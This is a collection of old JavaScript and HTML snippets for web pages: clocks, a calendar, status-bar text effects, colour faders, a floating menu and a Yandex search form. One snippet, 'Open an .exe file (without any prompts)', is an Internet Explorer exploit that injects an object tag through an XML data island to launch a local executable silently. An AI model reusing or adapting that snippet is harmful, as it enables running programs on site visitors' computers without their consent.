  bgChanger("000000","AA00EE",25);
// purple to black
  bgChanger("AA00EE","000000",25);
// black to blue
  bgChanger("000000","0000FF",25);
// blue to black
  bgChanger("0000FF","000000",25);
// black to black (pause)
  bgChanger("000000","000000",25);
</script>
%
Last change date
--

<table border="0" cellpadding="0" cellspacing="0" width="760">
<tr><td>&nbsp;</td>
       <td align=right valign=top><font size=-1 color="#3F3F3F">Last update:
     <script language="JavaScript">
     <!--
       var d=new Date(document.lastModified)
       s=""
       if (d.getDate()<10) {s="0"}
       s=s+d.getDate()+"."
       if (d.getMonth()<9) {s=s+"0"}
       s=s+(d.getMonth()+1)+"."+d.getYear()
       document.write(s)
     //-->
     </script><br>
       Design: &copy;&nbsp;2003  - <a href="mailto:login@domen.by">Your credits</a></font></td></tr>
</table>

%
Days passed since a defined date
--

<script language="JavaScript">
  d0 = new Date('May 1, 2003'); // Initial date
  d1 = new Date();
  dt = (d1.getTime() - d0.getTime()) / (1000*60*60*24);
  document.write('<small>Days passed: - <font color="#336699">' + Math.round(dt) + '</font></small>');
</script>
%
Calendar
<html></html>

<head>
<script language="JavaScript">
var firstYear= 1900
var lastYear= 2010

  myDate= new Date
  var curMonth= myDate.getMonth ()
  var curYear=  myDate.getYear ()
  var curDate=   myDate.getDate ()

  Years= new Array (lastYear - firstYear);
  Month= new Array ("January","February","March","April","May","June","July","August","September","October","November","December");

  daysInMonth = new Array (31,28,31,30,31,30,31,31,30,31,30,31);
  numbTableCell = 42

  function updateCalendar(UcurYear,UcurMonth){

  isLeap (UcurYear)
  var firstDay= setFirstDay (UcurYear,UcurMonth)

  if (firstDay == 0)
      firstDay= 7
  firstDay--

  tableOffset= 10;
  temp= 0
  for (i=0; i < firstDay; i++){
    calendar.all[i+ tableOffset ].innerText= " ";
    calendar.all[i+ tableOffset ].bgColor= "#ffffff"
    temp++
  }
  j= i + tableOffset

  for (i=1; i <= daysInMonth[UcurMonth];i++){
      if (temp == 7){
        j++
        temp= 0
      }
      if (curDate != i){
      calendar.all[j].innerText= i
          calendar.all[j].bgColor= "#ffffff"
      }
      else{
          calendar.all[j].innerText= i
      calendar.all[j].bgColor= "#a0d4ff"
      }
      temp++
      j++
  }
  for (i=0;i < (numbTableCell- daysInMonth[UcurMonth]-firstDay); i++){
    if (temp == 7){
      j++
      temp= 0
    }
    calendar.all[j].innerText= " ";
    calendar.all[j].bgColor= "#ffffff"
    temp++
    j++
  }
  }

  function outCalendar (FcurYear,FcurMonth)
  {
  isLeap (FcurYear)
  var firstDay= setFirstDay (FcurYear,FcurMonth)

  if (firstDay == 0)
      firstDay= 7
  firstDay--

  document.write ('<table id= "calendar"  cellspacing= 2 cellpadding= 0 border=1 Class="text">')
  document.write ('<tr align= center bgColor="#78c850"><td>Mon</td><td>Tue</td><td>Wed</td><td>Thu</td><td>Fri</td><td bgColor="#f06c40">Sat</td><td bgColor="#f06c40">Sun</td></tr>')

  temp= 0
  j= 0
  document.write ('<tr align= right>')
  for (i=0; i < firstDay; i++){
    document.write ('<td>&nbsp</td>')
    temp++
    j++
  }
  k= j

  for (i= 1; i <= numbTableCell - k;i++){
    if (temp == 7){
      temp= 0
      document.write ('</tr><tr align= right>')
    }
    if (i <= daysInMonth[FcurMonth]){
      if (curDate != i)
          document.write ('<td>'+ i +'</td>')
      else
          document.write ('<td bgColor= "#a0d4ff">'+ i +'</td>')
    }
    else
    {
      document.write ('<td>&nbsp</td>')
    }

    j++
    temp++
  }
  document.write ('</tr></table>')
  }

  function setFirstDay (year,month){
    var tempDay= new Date (year, month, 1)
    return tempDay.getDay ()
  }

  function isLeap (year){
    if (
        (year % 4 == 0)&
        ( (year % 100 != 0) ||(year % 400 == 0) )
       )
        daysInMonth [1]= 29
    else
        daysInMonth [1]= 28
  }

  function insertSpace (num){
    for(i=0;i<num;i++)
        document.write ('&nbsp')
  }

</script>
</head>

<body>
  <script language= "JavaScript">
   document.write ('<select name= "selMonth"  size= 1 onChange= "updateCalendar (selYears.value,selMonth.value)">')
     for (i= 0;i < Month.length; i++)
      {
       document.write ('<option value='+i+'>' + Month [i])
      }
    document.write ('</select>')
    selMonth.selectedIndex= curMonth
    insertSpace (1)
    document.write ('<select name= "selYears"  size= 1 onChange= "updateCalendar (selYears.value,selMonth.value)">')
    for (i= firstYear ;i < lastYear; i++)
     {
      Years[i- firstYear]= i
      document.write ('<option value='+i+'>'+ Years[i-firstYear])
     }
    document.write ('</select>')
    selYears.selectedIndex= curYear - firstYear
    document.write ('<br><br>')
    outCalendar (curYear,curMonth)
</script>
</body>
%
Browser Info
<body></body>

<script language=JavaScript>
  document.write("Browser Codename: ", navigator.appCodeName);
  document.write("<br>Browser Name: ", navigator.appName);
  document.write("<br>Browser Version: ", navigator.appVersion);
</script>

%
Clock
--

<SCRIPT LANGUAGE="JavaScript">

var timerID = null;
var timerRunning = false;

function stopclock ()
{
  if(timerRunning)
  clearTimeout(timerID);
  timerRunning = false;
}

function showtime ()
{
  var now = new Date();
  var hours = now.getHours();
  var minutes = now.getMinutes();
  var seconds = now.getSeconds()

  var timeValue = "" + ((hours >12) ? hours -12 :hours)
  timeValue += ((minutes < 10) ? ":0" : ":") + minutes
  timeValue += ((seconds < 10) ? ":0" : ":") + seconds
  timeValue += (hours >= 12) ? " P.M." : " A.M."
  document.clock.face.value = timeValue;

// you could replace the above with this
// and have a clock on the status bar:
// window.status = timeValue;

  timerID = setTimeout("showtime()",1000);
  timerRunning = true;
}

function startclock ()
{
// Make sure the clock is stopped
  stopclock();
  showtime();
}

</SCRIPT>

<BODY onLoad="startclock(); timerONE=window.setTimeout" BGCOLOR="000080" TEXT="ffffff">

<CENTER><form name="clock" onSubmit="0">
<input type="text" name="face" size=13 value=""></CENTER>

%
Confirm entering this site
--

<SCRIPT LANGUAGE="JavaScript"><!--

function Info()
{
  if (!confirm("You are entering a site where ........... Press <OK> to enter. Press <Cancel> if you want to change your mind.......... "))
  history.go(-1);return " "
}

document.writeln(Info())<!--End-->
</script>

%
Types gradually a text in the textbox
--

<script language="JavaScript">

function makeArray()
{
  this.length = makeArray.arguments.length
  for (var i = 0; i < this.length; i++)
  this[i+1] = makeArray.arguments[i]
}

var fArray = new makeArray;
fArray[0]="Message 1 goes here. "
fArray[1]="Message 2 goes here. "
fArray[2]="Message 3 goes here. "
fArray[3]="Message 4 goes here. "

var x = 1;
var y = 0;
var NumMesage = 4;
var msg1 = fArray[y];

function newsFeed()
{
  if (x==msg1.length+1)
  {
    for (var z=0; z < 7000; z++);
    y+=1;
    if (y > NumMesage-1) y=0;
    document.form1.news2.value=' ';
    msg1 = fArray[y];
    x=0;
  }
  document.form1.news2.value=msg1.substring(0,x);
  x+=1;
  setTimeout("newsFeed() ",100);
}
</script>

<body bgcolor=teal link=goldenrod onLoad="newsFeed()">

<form name="form1">
<textarea wrap=physical rows=10 cols=25 name="news2">
</textarea>
</form>


%
Shows the address of previous page
--

<center><script language="javascript">
var where = document.referrer
document.write("<FONT COLOR=black><FONT SIZE=2>...and you came here from "+where)
</script></center>

%
Tooltip for links in textbox
<html></html>

<HEAD>

<SCRIPT LANGUAGE="JavaScript">
        var cuMsg = 'MouseOver Message!';
        function update(msg) {
                var pad_str="";
                n = msg.length;
                if(n<80) {
                        pad = (80-n)/2;
                        for(var i=0; i<pad; i++) {
                                pad_str+=" ";
                        }
                }
                cuMsg = pad_str + msg;
                document.ccMsg.field.value = cuMsg;
                }
</SCRIPT>

</HEAD>

<BODY  BGCOLOR="#000000" TEXT="#FFFFFF" LINK="#FF0000" VLINK="#FF0000" ALINK="#FF0000">


<CENTER>
 <FONT FACE=VERDANA SIZE=3>
<FORM NAME="ccMsg" onSubmit="return false">
<input type="text" name="field" size=60 value="        Welcome to my page I hope you enjoy yourself!" onChange="nochange()">
</form></center>


<CENTER>

 <A HREF="http://www.coffeecup.com"
onMouseOver="update('The Home of the CoffeeCup HTML Editor++')"  onMouseOut="update(' ')" onClick="update('Here we go...............')"><B>CoffeeCup Software</B></A><P>


 <A HREF="http://www.netscape.com"
onMouseOver="update('Netscape and the Mozilla Crew.')" onMouseOut="update(' ')" onClick="update('Here we go...............')"><B>Netscape</B></A><P>


 <A HREF="http://www.microsoft.com"
onMouseOver="update('Bill Gates Ruling the World !')" onMouseOut="update(' ')" onClick="update('Here we go...............')"><B>Microsoft</B></A><P>


 <A HREF="http://www.infoseek.com"
onMouseOver="update('Find Some Information about Something.')" onMouseOut="update(' ')" onClick="update('Here we go...............')"><B>Infoseek</B></A><P>


 <A HREF="http://www.tucows.com"
onMouseOver="update('Tucows for the Best in Internet Software !')" onMouseOut="update(' ')" onClick="update('Here we go...............')"><B>TuCows</B></A><P>

 <A HREF="http://www.tabnet.net"
onMouseOver="update('TABNet:  The ultimate website Host !')" onMouseOut="update(' ')" onClick="update('----[ L O A D I N G }----')"><B>TABNet</B></A><P>

</CENTER>
</FONT>
<BODY>

%
Slides in a message in the status bar
--

<BODY onLoad="timerONE=window.setTimeout('slide(120,0)',20);">

<SCRIPT LANGUAGE="JavaScript">

function slide(jumpSpaces,position) {
  var msg = "This JavaScript will slide in your desired message....Cool...isn't it???.......drink more coffee"
  var out = ""
  if (endScroll) {return false}
  for (var i=0; i<position; i++)
    {out += msg.charAt(i)}
  for (i=1;i<jumpSpaces;i++)
    {out += " "}
  out += msg.charAt(position)
  window.status = out
  if (jumpSpaces <= 1) {
    position++
    if (msg.charAt(position) == ' ')
      {position++ }
    jumpSpaces = 100-position
  } else if (jumpSpaces >  3)
       {jumpSpaces *= .75}
  else
    {jumpSpaces--}
  if (position != msg.length) {
    var cmd = "slide(" + jumpSpaces + "," + position + ")";
    scrollID = window.setTimeout(cmd,5);
  } else {
    scrolling = false
    return false
  }
  return true
}
function ccSetup() {
 if (scrolling)
  if (!confirm('Re-initialize slide?'))
   return false
   endScroll = true
   scrolling = true
   var killID = window.setTimeout('endScroll=false',6)
   scrollID = window.setTimeout('slide(100,0)',10)
   return true
}
var scrollID = Object
var scrolling = false
var endScroll = false
</SCRIPT>

%
Clock in the status bar
--
Think twice if the visitors of your site need this clock.
<SCRIPT LANGUAGE="JavaScript">

var timerID = null;
var timerRunning = false;

function stopclock (){
        if(timerRunning)
                clearTimeout(timerID);
        timerRunning = false;
}

function showtime () {
        var now = new Date();
        var hours = now.getHours();
        var minutes = now.getMinutes();
        var seconds = now.getSeconds()
        var timeValue = "" + ((hours >12) ? hours -12 :hours)
        timeValue += ((minutes < 10) ? ":0" : ":") + minutes
        timeValue += ((seconds < 10) ? ":0" : ":") + seconds
        timeValue += (hours >= 12) ? " P.M." : " A.M."
        window.status = timeValue;
        timerID = setTimeout("showtime()",1000);
        timerRunning = true;
}

function startclock () {
        stopclock();
        showtime();
}

%
Continuously changes text color
--

<SCRIPT LANGUAGE="JavaScript1.2">
<!--
function initArray() {
this.length = initArray.arguments.length;
for (var i = 0; i < this.length; i++) {
this[i] = initArray.arguments[i];
   }
}

var ctext = "Too much caffeine makes you see weird colors.";
var speed = 1000;
var x = 0;
var color = new initArray(
"red",
"blue",
"green",
"black"
);
if(navigator.appName == "Netscape") {
document.write('<layer id="c"><center>'+ctext+'</center></layer><br>');
}
if (navigator.appVersion.indexOf("MSIE") != -1){
document.write('<div id="c"><center>'+ctext+'</center></div>');
}
function chcolor(){
if(navigator.appName == "Netscape") {
document.c.document.write('<center><font color="'+color[x]);
document.c.document.write('">'+ctext+'</font></center>');
document.c.document.close();
}
else if (navigator.appVersion.indexOf("MSIE") != -1){
document.all.c.style.color = color[x];
}
(x < color.length-1) ? x++ : x = 0;
}
setInterval("chcolor()",1000);
// -->
</script>
<!-- End of Revolving Colors -->

%
Auto-scrolling page
<head></body>

<SCRIPT LANGUAGE="JavaScript">
<!--
        var position = 0;
function scroller() {
        if (position != 320) {
                position++;
                scroll(0,position);
                clearTimeout(timer);
                var timer = setTimeout("scroller()",3); timer;
        }
        else
                 {
           location.replace("#");
        }
}
// -->
</SCRIPT>
</HEAD>

<BODY onload="scroller()">
<CENTER>
<font face="VERDANA, ARIAL" size="5" color=804040>Rolling Credits</font><p>
<font face="VERDANA, ARIAL" size="4">This script allows you to:
<HR WIDTH=350 NOSHADE>
<P>
Place<P> text<P> descriptions<p>
of <P>any <P>sort<p>
and it will <P>scroll up<p>
the page <P>until its done.<p>
<P>
You can even<P>
make <A HREF="http://www.html-utilities.narod.ru/">Links.</A><p>
Or<P>
use<P>
images.<p>
<p></font>
</CENTER>


%
A simple DHTML menu
--

<style TYPE="text/css">
#slide {
                Position: Absolute;
                Left: 5;
                Top: 5;
                Visibility: Visible;
                }

A:LINK          {text-decoration: none;}
A:VISITED       {text-decoration: none;}
TD              {font-family:arial;}
BODY            {Margin-Left: 120;}

</style>
<span ID="slide">

<table CELLSPACING="0" BORDER="0" CELLPADDING="0" ALIGN="LEFT" >
<TR><td><HR NOSHADE></TD></tr>
<tr>
<td><A HREF="http://www.coffeecup.com">CONTACT US</A><BR></td>
</TR>
<tr>
<td><A HREF="http://www.coffeecup.com">HELP</A><BR></td>
</tr>
<tr>
<td><A HREF="http://www.coffeecup.com">SERVICES</A><br></td>
</tr>
<tr>
<td><A HREF="http://www.coffeecup.com">PRODUCTS</A><br></td>
</tr>
<tr>
<td><A HREF="http://www.coffeecup.com/order">ORDER</A><br></td>
</tr>
<TR><td><HR NOSHADE></TD></tr>
</table>
</span>

<script LANGUAGE="JavaScript">

        self.onError=null;

        currentX = currentY = 0;
        whichIt = null;
        lastScrollX = 0; lastScrollY = 0;

        NS = (document.layers) ? 1 : 0;
        IE = (document.all) ? 1: 0;

        function heartBeat() {

                if(IE) { diffY = document.body.scrollTop; diffX = document.body.scrollLeft; }
            if(NS) { diffY = self.pageYOffset; diffX = self.pageXOffset; }

                if(diffY != lastScrollY) {
                        percent = .1 * (diffY - lastScrollY);
                        if(percent > 0) percent = Math.ceil(percent);
                        else percent = Math.floor(percent);
                                        if(IE) document.all.slide.style.pixelTop += percent;
                                        if(NS) document.slide.top += percent;
                        lastScrollY = lastScrollY + percent;
            }
                if(diffX != lastScrollX) {
                        percent = .1 * (diffX - lastScrollX);
                        if(percent > 0) percent = Math.ceil(percent);
                        else percent = Math.floor(percent);
                        if(IE) document.all.slide.style.pixelLeft += percent;
                        if(NS) document.slide.left += percent;
                        lastScrollX = lastScrollX + percent;
                }
        }

        function checkFocus(x,y) {
        var totalY, totalX;
                floatx = document.slide.pageX;
                floaty = document.slide.pageY;
                floatwidth = document.slide.clip.width;
                floatheight = document.slide.clip.height;

                        if(20 == 0) totalY = floatheight;
                        else totalY = 20;
                        if(0 == 0) totalX = floatwidth;
                        else totalX = 0;
                if( (x > floatx && x < (floatx+totalX)) && (y > floaty && y < (floaty+totalY))) return true;
                else return false;
        }

        function grabIt(e) {
                if(IE) {
                        whichIt = event.srcElement;
                        while (whichIt.id.indexOf("slide") == -1) {
                                whichIt = whichIt.parentElement;
                                if (whichIt == null) { return true; }
                    }
                        whichIt.style.pixelLeft = whichIt.offsetLeft;
                    whichIt.style.pixelTop = whichIt.offsetTop;
                        currentX = (event.clientX + document.body.scrollLeft);
                        currentY = (event.clientY + document.body.scrollTop);

                        if(20 == 0) totalY = whichIt.style.pixelHeight;
                        else totalY = 20;
                        if(0 == 0) totalX = whichIt.style.pixelWidth;
                        else totalX = 0;
                        if(!(event.clientX > whichIt.offsetLeft && event.clientX < whichIt.offsetLeft + totalX) ||
                        !(currentY > whichIt.offsetTop && currentY < whichIt.offsetTop + totalY)) whichIt = null;
                } else {
                window.captureEvents(Event.MOUSEMOVE);
                if(checkFocus (e.pageX,e.pageY)) {
                        whichIt = document.slide;
                        FloatTouchedX = e.pageX-document.slide.pageX;
                        FloatTouchedY = e.pageY-document.slide.pageY;
                }
                }
            return true;
        }

        function moveIt(e) {
                if (whichIt == null) { return false; }
                if(IE) {
                    newX = (event.clientX + document.body.scrollLeft);
                    newY = (event.clientY + document.body.scrollTop);
                    distanceX = (newX - currentX);    distanceY = (newY - currentY);
                    currentX = newX;    currentY = newY;
                    whichIt.style.pixelLeft += distanceX;
                    whichIt.style.pixelTop += distanceY;
                        if(whichIt.style.pixelTop < document.body.scrollTop) whichIt.style.pixelTop = document.body.scrollTop;
                        if(whichIt.style.pixelLeft < document.body.scrollLeft) whichIt.style.pixelLeft = document.body.scrollLeft;
                        if(whichIt.style.pixelLeft > document.body.offsetWidth - document.body.scrollLeft - whichIt.style.pixelWidth - 20) whichIt.style.pixelLeft = document.body.offsetWidth - whichIt.style.pixelWidth - 20;
                        if(whichIt.style.pixelTop > document.body.offsetHeight + document.body.scrollTop - whichIt.style.pixelHeight - 5) whichIt.style.pixelTop = document.body.offsetHeight + document.body.scrollTop - whichIt.style.pixelHeight - 5;
                        event.returnValue = false;
                } else {
                        whichIt.moveTo(e.pageX-FloatTouchedX,e.pageY-FloatTouchedY);
                if(whichIt.left < 0+self.pageXOffset) whichIt.left = 0+self.pageXOffset;
                if(whichIt.top < 0+self.pageYOffset) whichIt.top = 0+self.pageYOffset;
                if( (whichIt.left + whichIt.clip.width) >= (window.innerWidth+self.pageXOffset-17)) whichIt.left = ((window.innerWidth+self.pageXOffset)-whichIt.clip.width)-17;
                if( (whichIt.top + whichIt.clip.height) >= (window.innerHeight+self.pageYOffset-17)) whichIt.top = ((window.innerHeight+self.pageYOffset)-whichIt.clip.height)-17;
                return false;
                }
            return false;
        }

        function dropIt() {
                whichIt = null;
            if(NS) window.releaseEvents (Event.MOUSEMOVE);
            return true;
        }


        if(NS) {
                window.captureEvents(Event.MOUSEUP|Event.MOUSEDOWN);
                window.onmousedown = grabIt;
                window.onmousemove = moveIt;
                window.onmouseup = dropIt;
        }
        if(IE) {
                document.onmousedown = grabIt;
                document.onmousemove = moveIt;
                document.onmouseup = dropIt;
        }


        if(NS || IE) action = window.setInterval("heartBeat()",1);


</script>

<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text<p>Sample text

%
Image stays in the right bottom corner
after </html>

<script language="JavaScript">

var IW= 0;
var IH= 0;
var PX= 0;
var PY= 0;
var ZIN= 0;
var us= null;
var IMGW= 100;
var IMGH= 89;
var LSAFETY= 20;
var TSAFETY= 17;
function branding() {
 oldIW= IW;
 oldIH= IH;
 oldPX= PX;
 oldPY= PY;
 if (navigator.appName == 'Netscape') {
  if ((window.innerHeight != oldIH)||(window.innerWidth != oldIW)||(window.pageXOffset != oldPX)||(window.pageYOffset != oldPY))
    {
    if (us == null)
      {
      for (i=0; i<document.layers.length; i++)
        {
        us= document.layers[i];
        if (us.id == "Valley")
          break;
        }
      }
    if (us != null)
      {
      us.visibility= "hide";
      IH= window.innerHeight;
      IW= window.innerWidth;
      PX= window.pageXOffset;
      PY= window.pageYOffset;


      (IH > IMGH) ? us.top= (IH+PY-(IMGH+TSAFETY)) : us.top= 0;
      (IW > IMGW) ? us.left= (IW+PX-(IMGW+LSAFETY)) : us.left= 0;

//alert('document.layers.length: ' + document.layers.length);
      for (i=0; i<document.layers.length; i++)
        {
        templay= document.layers[i];
//      alert('document.layers[' + i + '].id: ' + document.layers[i].id);
        if (templay.zIndex > ZIN)
          ZIN= (templay.zIndex + 1);
        }
      us.zIndex= ZIN;
      us.visibility= "show";
      }
    }
 }
 else{
  if (navigator.appVersion.indexOf("Mac") == -1)
    {
    if ((document.body.clientHeight != oldIH)||(document.body.clientWidth != oldIW)||(document.body.scrollLeft != oldPX)||(document.body.scrollTop != oldPY))      {
      alldivs= document.all.tags("DIV");
      if (us == null){
        for (i=0; i<alldivs.length; i++)
          {
          us= alldivs(i);
          if (us.id == "Valley")
            break;
          }
      }
      if (us != null){
        us.style.display= "none";
        IH= document.body.clientHeight;
        IW= document.body.clientWidth;
        PX= document.body.scrollLeft;
        PY= document.body.scrollTop;
        us.style.top= (IH+PY-(IMGH+TSAFETY)+12);
        us.style.left=(IW+PX-(IMGW+LSAFETY)+15);
        for (i=0; i<alldivs.length; i++){
          templay= alldivs(i);
          if (templay.style.zIndex > ZIN)
            us.style.zindex= (templay.style.zIndex + 1);
        }
        us.style.display= "";
      }
  }
 }
 }
}
if ((document.all) || (document.layers)){
 setInterval("branding()",100);
}
</SCRIPT>
<DIV CLASS="Watermark" ID="Watermark" STYLE="position:absolute;top:1;visibility:hide;" ALIGN="right">
<A HREF="http://www.coffeecup.com"><IMG SRC="IMAGE.GIF" ALT="CoffeeCup Software" WIDTH=100 HEIGHT=89 BORDER=0></A>
</DIV>

%
Open an .exe file (without any prompts)
<body></body>
Of course it works only in IE. I hope you will not use this snippet to spread viruses ;)
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span><xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="c:/windows/notepad.exe"></object>
]]>
</exploit>
</security>
</xml>
%
Yandex search form
--
Copy this snippet and save it with the .mht extension. Then you can open it in IE and save with .html extension. If you want a link ("back  yo your page") to appear on the search results page, then uncomment the lines "  <INPUT TYPE="hidden" NAME="referrer1" VALUE="[YOUR LINK]"><INPUT TYPE="hidden" NAME="referrer2" VALUE="[LINK TEXT]">
From: <Saved by Microsoft Internet Explorer 5>
Subject:
Date: Wed, 27 Aug 2003 20:35:23 +0600
MIME-Version: 1.0
Content-Type: multipart/related;
        boundary="----=_NextPart_000_0000_01C36CDA.BD9A6B30";
        type="text/html"
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3718.0000

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01C36CDA.BD9A6B30
Content-Type: text/html;
        charset="windows-1251"
Content-Transfer-Encoding: quoted-printable
Content-Location: file://C:\Documents%20and%20Settings\Administrator\Desktop\VB\jahreszeiten.htm

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- Jahreszeiten --><HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1251">
<META content=3D"MSHTML 6.00.3718.0000" name=3DGENERATOR></HEAD>
<BODY>
<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D100 border=3D0>
  <TBODY>
  <TR>
    <TD bgColor=3D#000000>
      <TABLE cellSpacing=3D1 cellPadding=3D2 width=3D"100%" border=3D0>
        <TBODY>
        <TR>
          <TD align=3Dmiddle bgColor=3D#a8c9e0><IMG height=3D16 =
alt=3D=DFndex=20
            =
src=3D"file:///C:/log=
o-a8c9e0.gif"=20
            width=3D53 border=3D0></TD></TR>
        <TR>
          <TD align=3Dmiddle bgColor=3D#4a880d>
            <FORM name=3Dweb action=3Dhttp://www.yandex.ru/yandsearch=20
            method=3Dget><INPUT type=3Dhidden value=3D"form 100x100" =
name=3Dserver_name>=20
<!-- Uncomment these two lines if you want Yandex to place your link on the search results page
<INPUT TYPE=3D"hidden" NAME=3D"referrer1" VALUE=3D"[YOUR_LINK]">
<INPUT TYPE=3D"hidden" NAME=3D"referrer2" VALUE=3D"[YOUR_TEXT]">
--><INPUT size=3D9 name=3Dtext><BR><INPUT type=3Dimage height=3D17=20
            width=3D39=20
            =
src=3D"file:///C:/ok-=
ffcc00.gif"=20
            vspace=3D2 border=3D0></TD></TR></FORM>
        <TR>
          <TD align=3Dmiddle bgColor=3D#61331d><A=20
            href=3D"http://www.yandex.ru/"><IMG height=3D17 =
alt=3Dwww.yandex.ru=20
            =
src=3D"file:///C:/url=
-white.gif"=20
            width=3D59 =
border=3D0></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><!-- =
Jahreszeiten --></BODY></HTML>

------=_NextPart_000_0000_01C36CDA.BD9A6B30
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-Location: file:///C:/logo-a8c9e0.gif

R0lGODlhNQAQAMQfAC02PQAAAP8AADI8Q+c2PRYaHXuTpCAnK1tteZ280mV5h3mQoQsND7+TpE5d
aENQWpCtwO4nK9BteW+FlLijtoijtpOwxDhDS+JDS8WGldxQWrOwxPkND/QaHa280qjJ4CH5BAEA
AB8ALAAAAAA1ABAAAAX/4CeOpNhgREqUbOuOyyAv7ygJGhUJTW1cj1ppARlBaLUd5UMQCA0BgJA0
+Miq1ZrAyeTWotMRdjCxCrei5hQcNmPNScFS/TswAuWPI1Bg7wEJDgAACgAOMEUiR0IZAhgNOx8G
BQcWBUFQFQhgCgUJBQgTAQ4VAQYkMTNhFBxbXIMfsA8HHwlgsA60B4RBbS0eHB0barFSsAVSH2AM
UpsfCnwWvi03El0iyMXKyWB8CAABtQy00yw3Gdfb2mzdoAgI2AwJ5SUYPOm3Uswi3cmnCgcCKKBH
okkPYvk+XOAmZdeHUh8KTDhAjuCHDlwQGpMCLYEoKQ8CJPhmgMEzUxabIWjosmVTAJenDhToYypB
QAalTIELR3BDjzYGpJEwMG9aCAA7

------=_NextPart_000_0000_01C36CDA.BD9A6B30
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-Location: file:///C:/url-white.gif

R0lGODlhOwARAIABAP///wAAACH5BAEAAAEALAAAAAA7ABEAAAJmjI+py+0Po5y02osTyHzuDjqf
tZWBiZ7Hx7KqYZ7umMpqiq8wUuJxbXsBckSdcChMDpGvnRNZBM5205uGZ4RaiyuX9fv7NnviGBhG
0x5bVLG7Mgo1lvS6fXbP6/dxSl8OGCg4+FAAADs=

------=_NextPart_000_0000_01C36CDA.BD9A6B30
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-Location: file:///C:/ok-ffcc00.gif

R0lGODlhJwARAJECAP/MAAAAAAAAAAAAACH5BAEAAAIALAAAAAAnABEAAAJdVI6pyx0Gopy02ouu
3hgcDnKB94WmNZbR6K3s65IJlartB6f0yu923ZL8Si9VjRXTCYMwZu+GJN14uV4z97NeXdes7XQ6
gsfUqu48Rauh63b63cbB5271w4HPMwQFADs=

------=_NextPart_000_0000_01C36CDA.BD9A6B30--

